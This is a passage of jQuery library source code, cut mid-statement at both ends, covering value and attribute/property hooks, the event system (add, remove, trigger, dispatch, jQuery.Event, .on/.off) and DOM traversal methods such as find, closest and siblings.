hooks.get( elem, "value" )) !== undefined ) { return ret; } ret = elem.value; return typeof ret === "string" ? // handle most common string cases ret.replace(rreturn, "") : // handle cases where value is null/undef or number ret == null ? "" : ret; } return; } isFunction = jQuery.isFunction( value ); return this.each(function( i ) { var val; if ( this.nodeType !== 1 ) { return; } if ( isFunction ) { val = value.call( this, i, jQuery( this ).val() ); } else { val = value; } // Treat null/undefined as ""; convert numbers to string if ( val == null ) { val = ""; } else if ( typeof val === "number" ) { val += ""; } else if ( jQuery.isArray( val ) ) { val = jQuery.map(val, function ( value ) { return value == null ? "" : value + ""; }); } hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; // If set returns undefined, fall back to normal setting if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) { this.value = val; } }); } }); jQuery.extend({ valHooks: { option: { get: function( elem ) { // attributes.value is undefined in Blackberry 4.7 but // uses .value. See #6932 var val = elem.attributes.value; return !val || val.specified ? elem.value : elem.text; } }, select: { get: function( elem ) { var value, option, options = elem.options, index = elem.selectedIndex, one = elem.type === "select-one" || index < 0, values = one ? null : [], max = one ? index + 1 : options.length, i = index < 0 ? max : one ? index : 0; // Loop through all the selected options for ( ; i < max; i++ ) { option = options[ i ]; // IE6-9 doesn't update selected after form reset (#2551) if ( ( option.selected || i === index ) && // Don't return options that are disabled or in a disabled optgroup ( jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null ) && ( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) { // Get the specific value for the option value = jQuery( option ).val(); // We don't need an array for one selects if ( one ) { return value; } // Multi-Selects return an array values.push( value ); } } return values; }, set: function( elem, value ) { var optionSet, option, options = elem.options, values = jQuery.makeArray( value ), i = options.length; while ( i-- ) { option = options[ i ]; if ( (option.selected = jQuery.inArray( jQuery(option).val(), values ) >= 0) ) { optionSet = true; } } // force browsers to behave consistently when non-matching value is set if ( !optionSet ) { elem.selectedIndex = -1; } return values; } } }, attr: function( elem, name, value ) { var hooks, ret, nType = elem.nodeType; // don't get/set attributes on text, comment and attribute nodes if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { return; } // Fallback to prop when attributes are not supported if ( typeof elem.getAttribute === core_strundefined ) { return jQuery.prop( elem, name, value ); } // All attributes are lowercase // Grab necessary hook if one is defined if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { name = name.toLowerCase(); hooks = jQuery.attrHooks[ name ] || ( jQuery.expr.match.bool.test( name ) ? boolHook : nodeHook ); } if ( value !== undefined ) { if ( value === null ) { jQuery.removeAttr( elem, name ); } else if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) { return ret; } else { elem.setAttribute( name, value + "" ); return value; } } else if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) { return ret; } else { ret = jQuery.find.attr( elem, name ); // Non-existent attributes return null, we normalize to undefined return ret == null ? undefined : ret; } }, removeAttr: function( elem, value ) { var name, propName, i = 0, attrNames = value && value.match( core_rnotwhite ); if ( attrNames && elem.nodeType === 1 ) { while ( (name = attrNames[i++]) ) { propName = jQuery.propFix[ name ] || name; // Boolean attributes get special treatment (#10870) if ( jQuery.expr.match.bool.test( name ) ) { // Set corresponding property to false elem[ propName ] = false; } elem.removeAttribute( name ); } } }, attrHooks: { type: { set: function( elem, value ) { if ( !jQuery.support.radioValue && value === "radio" && jQuery.nodeName(elem, "input") ) { // Setting the type on a radio button after the value resets the value in IE6-9 // Reset value to default in case type is set after value during creation var val = elem.value; elem.setAttribute( "type", value ); if ( val ) { elem.value = val; } return value; } } } }, propFix: { "for": "htmlFor", "class": "className" }, prop: function( elem, name, value ) { var ret, hooks, notxml, nType = elem.nodeType; // don't get/set properties on text, comment and attribute nodes if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { return; } notxml = nType !== 1 || !jQuery.isXMLDoc( elem ); if ( notxml ) { // Fix name and attach hooks name = jQuery.propFix[ name ] || name; hooks = jQuery.propHooks[ name ]; } if ( value !== undefined ) { return hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ? ret : ( elem[ name ] = value ); } else { return hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ? ret : elem[ name ]; } }, propHooks: { tabIndex: { get: function( elem ) { return elem.hasAttribute( "tabindex" ) || rfocusable.test( elem.nodeName ) || elem.href ? elem.tabIndex : -1; } } } }); // Hooks for boolean attributes boolHook = { set: function( elem, value, name ) { if ( value === false ) { // Remove boolean attributes when set to false jQuery.removeAttr( elem, name ); } else { elem.setAttribute( name, name ); } return name; } }; jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) { var getter = jQuery.expr.attrHandle[ name ] || jQuery.find.attr; jQuery.expr.attrHandle[ name ] = function( elem, name, isXML ) { var fn = jQuery.expr.attrHandle[ name ], ret = isXML ? undefined : /* jshint eqeqeq: false */ // Temporarily disable this handler to check existence (jQuery.expr.attrHandle[ name ] = undefined) != getter( elem, name, isXML ) ? name.toLowerCase() : null; // Restore handler jQuery.expr.attrHandle[ name ] = fn; return ret; }; }); // Support: IE9+ // Selectedness for an option in an optgroup can be inaccurate if ( !jQuery.support.optSelected ) { jQuery.propHooks.selected = { get: function( elem ) { var parent = elem.parentNode; if ( parent && parent.parentNode ) { parent.parentNode.selectedIndex; } return null; } }; } jQuery.each([ "tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable" ], function() { jQuery.propFix[ this.toLowerCase() ] = this; }); // Radios and checkboxes getter/setter jQuery.each([ "radio", "checkbox" ], function() { jQuery.valHooks[ this ] = { set: function( elem, value ) { if ( jQuery.isArray( value ) ) { return ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 ); } } }; if ( !jQuery.support.checkOn ) { jQuery.valHooks[ this ].get = function( elem ) { // Support: Webkit // "" is returned instead of "on" if a value isn't specified return elem.getAttribute("value") === null ? "on" : elem.value; }; } }); var rkeyEvent = /^key/, rmouseEvent = /^(?:mouse|contextmenu)|click/, rfocusMorph = /^(?:focusinfocus|focusoutblur)$/, rtypenamespace = /^([^.]*)(?:\.(.+)|)$/; function returnTrue() { return true; } function returnFalse() { return false; } function safeActiveElement() { try { return document.activeElement; } catch ( err ) { } } /* * Helper functions for managing events -- not part of the public interface. * Props to Dean Edwards' addEvent library for many of the ideas. */ jQuery.event = { global: {}, add: function( elem, types, handler, data, selector ) { var handleObjIn, eventHandle, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = data_priv.get( elem ); // Don't attach events to noData or text/comment nodes (but allow plain objects) if ( !elemData ) { return; } // Caller can pass in an object of custom data in lieu of the handler if ( handler.handler ) { handleObjIn = handler; handler = handleObjIn.handler; selector = handleObjIn.selector; } // Make sure that the handler has a unique ID, used to find/remove it later if ( !handler.guid ) { handler.guid = jQuery.guid++; } // Init the element's event structure and main handler, if this is the first if ( !(events = elemData.events) ) { events = elemData.events = {}; } if ( !(eventHandle = elemData.handle) ) { eventHandle = elemData.handle = function( e ) { // Discard the second event of a jQuery.event.trigger() and // when an event is called after a page has unloaded return typeof jQuery !== core_strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply( eventHandle.elem, arguments ) : undefined; }; // Add elem as a property of the handle fn to prevent a memory leak with IE non-native events eventHandle.elem = elem; } // Handle multiple events separated by a space types = ( types || "" ).match( core_rnotwhite ) || [""]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[t] ) || []; type = origType = tmp[1]; namespaces = ( tmp[2] || "" ).split( "." ).sort(); // There *must* be a type, no attaching namespace-only handlers if ( !type ) { continue; } // If event changes its type, use the special event handlers for the changed type special = jQuery.event.special[ type ] || {}; // If selector defined, determine special event api type, otherwise given type type = ( selector ? special.delegateType : special.bindType ) || type; // Update special based on newly reset type special = jQuery.event.special[ type ] || {}; // handleObj is passed to all event handlers handleObj = jQuery.extend({ type: type, origType: origType, data: data, handler: handler, guid: handler.guid, selector: selector, needsContext: selector && jQuery.expr.match.needsContext.test( selector ), namespace: namespaces.join(".") }, handleObjIn ); // Init the event handler queue if we're the first if ( !(handlers = events[ type ]) ) { handlers = events[ type ] = []; handlers.delegateCount = 0; // Only use addEventListener if the special events handler returns false if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { if ( elem.addEventListener ) { elem.addEventListener( type, eventHandle, false ); } } } if ( special.add ) { special.add.call( elem, handleObj ); if ( !handleObj.handler.guid ) { handleObj.handler.guid = handler.guid; } } // Add to the element's handler list, delegates in front if ( selector ) { handlers.splice( handlers.delegateCount++, 0, handleObj ); } else { handlers.push( handleObj ); } // Keep track of which events have ever been used, for event optimization jQuery.event.global[ type ] = true; } // Nullify elem to prevent memory leaks in IE elem = null; }, // Detach an event or set of events from an element remove: function( elem, types, handler, selector, mappedTypes ) { var j, origCount, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = data_priv.hasData( elem ) && data_priv.get( elem ); if ( !elemData || !(events = elemData.events) ) { return; } // Once for each type.namespace in types; type may be omitted types = ( types || "" ).match( core_rnotwhite ) || [""]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[t] ) || []; type = origType = tmp[1]; namespaces = ( tmp[2] || "" ).split( "." ).sort(); // Unbind all events (on this namespace, if provided) for the element if ( !type ) { for ( type in events ) { jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); } continue; } special = jQuery.event.special[ type ] || {}; type = ( selector ? special.delegateType : special.bindType ) || type; handlers = events[ type ] || []; tmp = tmp[2] && new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ); // Remove matching events origCount = j = handlers.length; while ( j-- ) { handleObj = handlers[ j ]; if ( ( mappedTypes || origType === handleObj.origType ) && ( !handler || handler.guid === handleObj.guid ) && ( !tmp || tmp.test( handleObj.namespace ) ) && ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { handlers.splice( j, 1 ); if ( handleObj.selector ) { handlers.delegateCount--; } if ( special.remove ) { special.remove.call( elem, handleObj ); } } } // Remove generic event handler if we removed something and no more handlers exist // (avoids potential for endless recursion during removal of special event handlers) if ( origCount && !handlers.length ) { if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) { jQuery.removeEvent( elem, type, elemData.handle ); } delete events[ type ]; } } // Remove the expando if it's no longer used if ( jQuery.isEmptyObject( events ) ) { delete elemData.handle; data_priv.remove( elem, "events" ); } }, trigger: function( event, data, elem, onlyHandlers ) { var i, cur, tmp, bubbleType, ontype, handle, special, eventPath = [ elem || document ], type = core_hasOwn.call( event, "type" ) ? event.type : event, namespaces = core_hasOwn.call( event, "namespace" ) ? event.namespace.split(".") : []; cur = tmp = elem = elem || document; // Don't do events on text and comment nodes if ( elem.nodeType === 3 || elem.nodeType === 8 ) { return; } // focus/blur morphs to focusin/out; ensure we're not firing them right now if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { return; } if ( type.indexOf(".") >= 0 ) { // Namespaced trigger; create a regexp to match event type in handle() namespaces = type.split("."); type = namespaces.shift(); namespaces.sort(); } ontype = type.indexOf(":") < 0 && "on" + type; // Caller can pass in a jQuery.Event object, Object, or just an event type string event = event[ jQuery.expando ] ? event : new jQuery.Event( type, typeof event === "object" && event ); // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true) event.isTrigger = onlyHandlers ? 2 : 3; event.namespace = namespaces.join("."); event.namespace_re = event.namespace ? new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ) : null; // Clean up the event in case it is being reused event.result = undefined; if ( !event.target ) { event.target = elem; } // Clone any incoming data and prepend the event, creating the handler arg list data = data == null ? [ event ] : jQuery.makeArray( data, [ event ] ); // Allow special events to draw outside the lines special = jQuery.event.special[ type ] || {}; if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { return; } // Determine event propagation path in advance, per W3C events spec (#9951) // Bubble up to document, then to window; watch for a global ownerDocument var (#9724) if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) { bubbleType = special.delegateType || type; if ( !rfocusMorph.test( bubbleType + type ) ) { cur = cur.parentNode; } for ( ; cur; cur = cur.parentNode ) { eventPath.push( cur ); tmp = cur; } // Only add window if we got to document (e.g., not plain obj or detached DOM) if ( tmp === (elem.ownerDocument || document) ) { eventPath.push( tmp.defaultView || tmp.parentWindow || window ); } } // Fire handlers on the event path i = 0; while ( (cur = eventPath[i++]) && !event.isPropagationStopped() ) { event.type = i > 1 ? bubbleType : special.bindType || type; // jQuery handler handle = ( data_priv.get( cur, "events" ) || {} )[ event.type ] && data_priv.get( cur, "handle" ); if ( handle ) { handle.apply( cur, data ); } // Native handler handle = ontype && cur[ ontype ]; if ( handle && jQuery.acceptData( cur ) && handle.apply && handle.apply( cur, data ) === false ) { event.preventDefault(); } } event.type = type; // If nobody prevented the default action, do it now if ( !onlyHandlers && !event.isDefaultPrevented() ) { if ( (!special._default || special._default.apply( eventPath.pop(), data ) === false) && jQuery.acceptData( elem ) ) { // Call a native DOM method on the target with the same name name as the event. // Don't do default actions on window, that's where global variables be (#6170) if ( ontype && jQuery.isFunction( elem[ type ] ) && !jQuery.isWindow( elem ) ) { // Don't re-trigger an onFOO event when we call its FOO() method tmp = elem[ ontype ]; if ( tmp ) { elem[ ontype ] = null; } // Prevent re-triggering of the same event, since we already bubbled it above jQuery.event.triggered = type; elem[ type ](); jQuery.event.triggered = undefined; if ( tmp ) { elem[ ontype ] = tmp; } } } } return event.result; }, dispatch: function( event ) { // Make a writable jQuery.Event from the native event object event = jQuery.event.fix( event ); var i, j, ret, matched, handleObj, handlerQueue = [], args = core_slice.call( arguments ), handlers = ( data_priv.get( this, "events" ) || {} )[ event.type ] || [], special = jQuery.event.special[ event.type ] || {}; // Use the fix-ed jQuery.Event rather than the (read-only) native event args[0] = event; event.delegateTarget = this; // Call the preDispatch hook for the mapped type, and let it bail if desired if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { return; } // Determine handlers handlerQueue = jQuery.event.handlers.call( this, event, handlers ); // Run delegates first; they may want to stop propagation beneath us i = 0; while ( (matched = handlerQueue[ i++ ]) && !event.isPropagationStopped() ) { event.currentTarget = matched.elem; j = 0; while ( (handleObj = matched.handlers[ j++ ]) && !event.isImmediatePropagationStopped() ) { // Triggered event must either 1) have no namespace, or // 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace). if ( !event.namespace_re || event.namespace_re.test( handleObj.namespace ) ) { event.handleObj = handleObj; event.data = handleObj.data; ret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler ) .apply( matched.elem, args ); if ( ret !== undefined ) { if ( (event.result = ret) === false ) { event.preventDefault(); event.stopPropagation(); } } } } } // Call the postDispatch hook for the mapped type if ( special.postDispatch ) { special.postDispatch.call( this, event ); } return event.result; }, handlers: function( event, handlers ) { var i, matches, sel, handleObj, handlerQueue = [], delegateCount = handlers.delegateCount, cur = event.target; // Find delegate handlers // Black-hole SVG <use> instance trees (#13180) // Avoid non-left-click bubbling in Firefox (#3861) if ( delegateCount && cur.nodeType && (!event.button || event.type !== "click") ) { for ( ; cur !== this; cur = cur.parentNode || this ) { // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764) if ( cur.disabled !== true || event.type !== "click" ) { matches = []; for ( i = 0; i < delegateCount; i++ ) { handleObj = handlers[ i ]; // Don't conflict with Object.prototype properties (#13203) sel = handleObj.selector + " "; if ( matches[ sel ] === undefined ) { matches[ sel ] = handleObj.needsContext ? jQuery( sel, this ).index( cur ) >= 0 : jQuery.find( sel, this, null, [ cur ] ).length; } if ( matches[ sel ] ) { matches.push( handleObj ); } } if ( matches.length ) { handlerQueue.push({ elem: cur, handlers: matches }); } } } } // Add the remaining (directly-bound) handlers if ( delegateCount < handlers.length ) { handlerQueue.push({ elem: this, handlers: handlers.slice( delegateCount ) }); } return handlerQueue; }, // Includes some event props shared by KeyEvent and MouseEvent props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "), fixHooks: {}, keyHooks: { props: "char charCode key keyCode".split(" "), filter: function( event, original ) { // Add which for key events if ( event.which == null ) { event.which = original.charCode != null ? original.charCode : original.keyCode; } return event; } }, mouseHooks: { props: "button buttons clientX clientY offsetX offsetY pageX pageY screenX screenY toElement".split(" "), filter: function( event, original ) { var eventDoc, doc, body, button = original.button; // Calculate pageX/Y if missing and clientX/Y available if ( event.pageX == null && original.clientX != null ) { eventDoc = event.target.ownerDocument || document; doc = eventDoc.documentElement; body = eventDoc.body; event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 ); event.pageY = original.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 ); } // Add which for click: 1 === left; 2 === middle; 3 === right // Note: button is not normalized, so don't use it if ( !event.which && button !== undefined ) { event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) ); } return event; } }, fix: function( event ) { if ( event[ jQuery.expando ] ) { return event; } // Create a writable copy of the event object and normalize some properties var i, prop, copy, type = event.type, originalEvent = event, fixHook = this.fixHooks[ type ]; if ( !fixHook ) { this.fixHooks[ type ] = fixHook = rmouseEvent.test( type ) ? this.mouseHooks : rkeyEvent.test( type ) ? this.keyHooks : {}; } copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props; event = new jQuery.Event( originalEvent ); i = copy.length; while ( i-- ) { prop = copy[ i ]; event[ prop ] = originalEvent[ prop ]; } // Support: Cordova 2.5 (WebKit) (#13255) // All events should have a target; Cordova deviceready doesn't if ( !event.target ) { event.target = document; } // Support: Safari 6.0+, Chrome < 28 // Target should not be a text node (#504, #13143) if ( event.target.nodeType === 3 ) { event.target = event.target.parentNode; } return fixHook.filter? fixHook.filter( event, originalEvent ) : event; }, special: { load: { // Prevent triggered image.load events from bubbling to window.load noBubble: true }, focus: { // Fire native event if possible so blur/focus sequence is correct trigger: function() { if ( this !== safeActiveElement() && this.focus ) { this.focus(); return false; } }, delegateType: "focusin" }, blur: { trigger: function() { if ( this === safeActiveElement() && this.blur ) { this.blur(); return false; } }, delegateType: "focusout" }, click: { // For checkbox, fire native event so checked state will be right trigger: function() { if ( this.type === "checkbox" && this.click && jQuery.nodeName( this, "input" ) ) { this.click(); return false; } }, // For cross-browser consistency, don't fire native .click() on links _default: function( event ) { return jQuery.nodeName( event.target, "a" ); } }, beforeunload: { postDispatch: function( event ) { // Support: Firefox 20+ // Firefox doesn't alert if the returnValue field is not set. if ( event.result !== undefined ) { event.originalEvent.returnValue = event.result; } } } }, simulate: function( type, elem, event, bubble ) { // Piggyback on a donor event to simulate a different one. // Fake originalEvent to avoid donor's stopPropagation, but if the // simulated event prevents default then we do the same on the donor. var e = jQuery.extend( new jQuery.Event(), event, { type: type, isSimulated: true, originalEvent: {} } ); if ( bubble ) { jQuery.event.trigger( e, null, elem ); } else { jQuery.event.dispatch.call( elem, e ); } if ( e.isDefaultPrevented() ) { event.preventDefault(); } } }; jQuery.removeEvent = function( elem, type, handle ) { if ( elem.removeEventListener ) { elem.removeEventListener( type, handle, false ); } }; jQuery.Event = function( src, props ) { // Allow instantiation without the 'new' keyword if ( !(this instanceof jQuery.Event) ) { return new jQuery.Event( src, props ); } // Event object if ( src && src.type ) { this.originalEvent = src; this.type = src.type; // Events bubbling up the document may have been marked as prevented // by a handler lower down the tree; reflect the correct value. this.isDefaultPrevented = ( src.defaultPrevented || src.getPreventDefault && src.getPreventDefault() ) ? returnTrue : returnFalse; // Event type } else { this.type = src; } // Put explicitly provided properties onto the event object if ( props ) { jQuery.extend( this, props ); } // Create a timestamp if incoming event doesn't have one this.timeStamp = src && src.timeStamp || jQuery.now(); // Mark it as fixed this[ jQuery.expando ] = true; }; // jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding // http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html jQuery.Event.prototype = { isDefaultPrevented: returnFalse, isPropagationStopped: returnFalse, isImmediatePropagationStopped: returnFalse, preventDefault: function() { var e = this.originalEvent; this.isDefaultPrevented = returnTrue; if ( e && e.preventDefault ) { e.preventDefault(); } }, stopPropagation: function() { var e = this.originalEvent; this.isPropagationStopped = returnTrue; if ( e && e.stopPropagation ) { e.stopPropagation(); } }, stopImmediatePropagation: function() { this.isImmediatePropagationStopped = returnTrue; this.stopPropagation(); } }; // Create mouseenter/leave events using mouseover/out and event-time checks // Support: Chrome 15+ jQuery.each({ mouseenter: "mouseover", mouseleave: "mouseout" }, function( orig, fix ) { jQuery.event.special[ orig ] = { delegateType: fix, bindType: fix, handle: function( event ) { var ret, target = this, related = event.relatedTarget, handleObj = event.handleObj; // For mousenter/leave call the handler if related is outside the target. // NB: No relatedTarget if the mouse left/entered the browser window if ( !related || (related !== target && !jQuery.contains( target, related )) ) { event.type = handleObj.origType; ret = handleObj.handler.apply( this, arguments ); event.type = fix; } return ret; } }; }); // Create "bubbling" focus and blur events // Support: Firefox, Chrome, Safari if ( !jQuery.support.focusinBubbles ) { jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) { // Attach a single capturing handler while someone wants focusin/focusout var attaches = 0, handler = function( event ) { jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true ); }; jQuery.event.special[ fix ] = { setup: function() { if ( attaches++ === 0 ) { document.addEventListener( orig, handler, true ); } }, teardown: function() { if ( --attaches === 0 ) { document.removeEventListener( orig, handler, true ); } } }; }); } jQuery.fn.extend({ on: function( types, selector, data, fn, /*INTERNAL*/ one ) { var origFn, type; // Types can be a map of types/handlers if ( typeof types === "object" ) { // ( types-Object, selector, data ) if ( typeof selector !== "string" ) { // ( types-Object, data ) data = data || selector; selector = undefined; } for ( type in types ) { this.on( type, selector, data, types[ type ], one ); } return this; } if ( data == null && fn == null ) { // ( types, fn ) fn = selector; data = selector = undefined; } else if ( fn == null ) { if ( typeof selector === "string" ) { // ( types, selector, fn ) fn = data; data = undefined; } else { // ( types, data, fn ) fn = data; data = selector; selector = undefined; } } if ( fn === false ) { fn = returnFalse; } else if ( !fn ) { return this; } if ( one === 1 ) { origFn = fn; fn = function( event ) { // Can use an empty set, since event contains the info jQuery().off( event ); return origFn.apply( this, arguments ); }; // Use same guid so caller can remove using origFn fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); } return this.each( function() { jQuery.event.add( this, types, fn, data, selector ); }); }, one: function( types, selector, data, fn ) { return this.on( types, selector, data, fn, 1 ); }, off: function( types, selector, fn ) { var handleObj, type; if ( types && types.preventDefault && types.handleObj ) { // ( event ) dispatched jQuery.Event handleObj = types.handleObj; jQuery( types.delegateTarget ).off( handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler ); return this; } if ( typeof types === "object" ) { // ( types-object [, selector] ) for ( type in types ) { this.off( type, selector, types[ type ] ); } return this; } if ( selector === false || typeof selector === "function" ) { // ( types [, fn] ) fn = selector; selector = undefined; } if ( fn === false ) { fn = returnFalse; } return this.each(function() { jQuery.event.remove( this, types, fn, selector ); }); }, trigger: function( type, data ) { return this.each(function() { jQuery.event.trigger( type, data, this ); }); }, triggerHandler: function( type, data ) { var elem = this[0]; if ( elem ) { return jQuery.event.trigger( type, data, elem, true ); } } }); var isSimple = /^.[^:#\[\.,]*$/, rparentsprev = /^(?:parents|prev(?:Until|All))/, rneedsContext = jQuery.expr.match.needsContext, // methods guaranteed to produce a unique set when starting from a unique set guaranteedUnique = { children: true, contents: true, next: true, prev: true }; jQuery.fn.extend({ find: function( selector ) { var i, ret = [], self = this, len = self.length; if ( typeof selector !== "string" ) { return this.pushStack( jQuery( selector ).filter(function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } }) ); } for ( i = 0; i < len; i++ ) { jQuery.find( selector, self[ i ], ret ); } // Needed because $( selector, context ) becomes $( context ).find( selector ) ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret ); ret.selector = this.selector ? this.selector + " " + selector : selector; return ret; }, has: function( target ) { var targets = jQuery( target, this ), l = targets.length; return this.filter(function() { var i = 0; for ( ; i < l; i++ ) { if ( jQuery.contains( this, targets[i] ) ) { return true; } } }); }, not: function( selector ) { return this.pushStack( winnow(this, selector || [], true) ); }, filter: function( selector ) { return this.pushStack( winnow(this, selector || [], false) ); }, is: function( selector ) { return !!winnow( this, // If this is a positional/relative selector, check membership in the returned set // so $("p:first").is("p:last") won't return true for a doc with two "p". typeof selector === "string" && rneedsContext.test( selector ) ? jQuery( selector ) : selector || [], false ).length; }, closest: function( selectors, context ) { var cur, i = 0, l = this.length, matched = [], pos = ( rneedsContext.test( selectors ) || typeof selectors !== "string" ) ? jQuery( selectors, context || this.context ) : 0; for ( ; i < l; i++ ) { for ( cur = this[i]; cur && cur !== context; cur = cur.parentNode ) { // Always skip document fragments if ( cur.nodeType < 11 && (pos ? pos.index(cur) > -1 : // Don't pass non-elements to Sizzle cur.nodeType === 1 && jQuery.find.matchesSelector(cur, selectors)) ) { cur = matched.push( cur ); break; } } } return this.pushStack( matched.length > 1 ? jQuery.unique( matched ) : matched ); }, // Determine the position of an element within // the matched set of elements index: function( elem ) { // No argument, return index in parent if ( !elem ) { return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1; } // index in selector if ( typeof elem === "string" ) { return core_indexOf.call( jQuery( elem ), this[ 0 ] ); } // Locate the position of the desired element return core_indexOf.call( this, // If it receives a jQuery object, the first element is used elem.jquery ? elem[ 0 ] : elem ); }, add: function( selector, context ) { var set = typeof selector === "string" ? jQuery( selector, context ) : jQuery.makeArray( selector && selector.nodeType ? [ selector ] : selector ), all = jQuery.merge( this.get(), set ); return this.pushStack( jQuery.unique(all) ); }, addBack: function( selector ) { return this.add( selector == null ? this.prevObject : this.prevObject.filter(selector) ); } }); function sibling( cur, dir ) { while ( (cur = cur[dir]) && cur.nodeType !== 1 ) {} return cur; } jQuery.each({ parent: function( elem ) { var parent = elem.parentNode; return parent && parent.nodeType !== 11 ? parent : null; }, parents: function( elem ) { return jQuery.dir( elem, "parentNode" ); }, parentsUntil: function( elem, i, until ) { return jQuery.dir( elem, "parentNode", until ); }, next: function( elem ) { return sibling( elem, "nextSibling" ); }, prev: function( elem ) { return sibling( elem, "previousSibling" ); }, nextAll: function( elem ) { return jQuery.dir( elem, "nextSibling" ); }, prevAll: function( elem ) { return jQuery.dir( elem, "previousSibling" ); }, nextUntil: function( elem, i, until ) { return jQuery.dir( elem, "nextSibling", until ); }, prevUntil: function( elem, i, until ) { return jQuery.dir( elem, "previousSibling", until ); }, siblings: function( elem ) { return jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem ); }, children: function( elem ) { return jQuery.sibling( elem.firstChild ); }, contents: function( elem ) { return elem.contentDocument || jQuery.merge( [], elem.childNodes ); } }, function( name, fn ) { jQuery.fn[ name ] = function( until, selector ) { var matched = jQuery.map( this, fn, until ); if ( name.slice( -5 ) !== "Until" ) { selector = until; } if ( selector && typeof selector === "string" ) { matched = jQuery.filter( selector, matched ); } if ( this.length > 1 ) { // Remove duplicates if ( !guaranteedUnique[ name ] ) { jQuery.unique( matched ); } // Reverse order for parents* and prev-derivatives if ( rparentsprev.test( name ) ) { matched.reverse(); } } return this.pushStack( matched ); }; }); jQuery.extend({ filter: function( expr, elems, not ) { var elem = elems[ 0 ]; if ( not ) { expr = ":not(" + expr + ")"; } return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] : jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; })); }, dir: function( elem, dir, until ) { var matched = [], truncate = until !== undefined; while ( (elem = elem[ dir ]) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; }, sibling: function( n, elem ) { var matched = []; for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } } return matched; } }); // Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { /* jshint -W018 */ return !!qualifier.call( elem, i, elem ) !== not; }); } if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; }); } if ( typeof qualifier === "string" ) { if ( isSimple.test( qualifier ) ) { return jQuery.filter( qualifier, elements, not ); } qualifier = jQuery.filter( qualifier, elements ); } return jQuery.grep( elements, function( elem ) { return ( core_indexOf.call( qualifier, elem ) >= 0 ) !== not; }); } var rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi, rtagName = /<([\w:]+)/, rhtml = /<|&#?\w+;/, rnoInnerhtml = /<(?:script|style|link)/i, manipulation_rcheckableType = /^(?:checkbox|radio)$/i, // checked="checked" or checked rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i, rscriptType = /^$|\/(?:java|ecma)script/i, rscriptTypeMasked = /^true\/(.*)/, rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g, // We have to close these tags to support XHTML (#13200) wrapMap = { // Support: IE 9 option: [ 1, "<select multiple='multiple'>", "</select>" ], thead: [ 1, "<table>", "</table>" ], col: [ 2, "<table><colgroup>", "</colgroup></table>" ], tr: [ 2, 